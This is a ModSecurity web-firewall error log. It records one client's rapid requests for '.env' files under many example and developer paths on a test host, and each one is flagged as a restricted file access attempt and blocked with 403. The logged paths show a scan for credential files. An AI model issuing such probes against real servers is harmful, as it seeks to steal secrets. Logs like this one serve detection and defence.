[Wed Feb 25 06:05:05.278012 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXagAAAAQ&quot;]
[Wed Feb 25 06:05:05.278200 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXagAAAAQ&quot;]
[Wed Feb 25 06:05:05.328204 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/04-many-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXawAAAAQ&quot;]
[Wed Feb 25 06:05:05.328508 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXawAAAAQ&quot;]
[Wed Feb 25 06:05:05.328700 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXawAAAAQ&quot;]
[Wed Feb 25 06:05:05.364012 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/05-migrations/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbAAAAAQ&quot;]
[Wed Feb 25 06:05:05.364338 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbAAAAAQ&quot;]
[Wed Feb 25 06:05:05.364552 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbAAAAAQ&quot;]
[Wed Feb 25 06:05:05.410480 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/06-base-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbQAAAAQ&quot;]
[Wed Feb 25 06:05:05.410792 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbQAAAAQ&quot;]
[Wed Feb 25 06:05:05.410975 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbQAAAAQ&quot;]
[Wed Feb 25 06:05:05.443002 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/07-feature-flags/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbgAAAAQ&quot;]
[Wed Feb 25 06:05:05.443294 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbgAAAAQ&quot;]
[Wed Feb 25 06:05:05.443502 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbgAAAAQ&quot;]
[Wed Feb 25 06:05:05.467226 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/08-performance/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbwAAAAQ&quot;]
[Wed Feb 25 06:05:05.467520 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbwAAAAQ&quot;]
[Wed Feb 25 06:05:05.467726 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXbwAAAAQ&quot;]
[Wed Feb 25 06:05:05.510655 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxAAAAAA&quot;]
[Wed Feb 25 06:05:05.510974 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxAAAAAA&quot;]
[Wed Feb 25 06:05:05.511196 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxAAAAAA&quot;]
[Wed Feb 25 06:05:05.534416 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/09-production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcAAAAAQ&quot;]
[Wed Feb 25 06:05:05.534707 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcAAAAAQ&quot;]
[Wed Feb 25 06:05:05.534893 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcAAAAAQ&quot;]
[Wed Feb 25 06:05:05.556570 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/10-subscriptions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcQAAAAQ&quot;]
[Wed Feb 25 06:05:05.556869 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcQAAAAQ&quot;]
[Wed Feb 25 06:05:05.557063 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcQAAAAQ&quot;]
[Wed Feb 25 06:05:05.607342 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/11-transactions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcgAAAAQ&quot;]
[Wed Feb 25 06:05:05.607638 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcgAAAAQ&quot;]
[Wed Feb 25 06:05:05.607862 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ6DAZ6MLyC5r86Hx-ZXcgAAAAQ&quot;]
[Wed Feb 25 06:05:05.619326 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developerslv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxQAAAAA&quot;]
[Wed Feb 25 06:05:05.619608 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxQAAAAA&quot;]
[Wed Feb 25 06:05:05.619783 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ6DAWXxsr5IXP-ltRiaxQAAAAA&quot;]
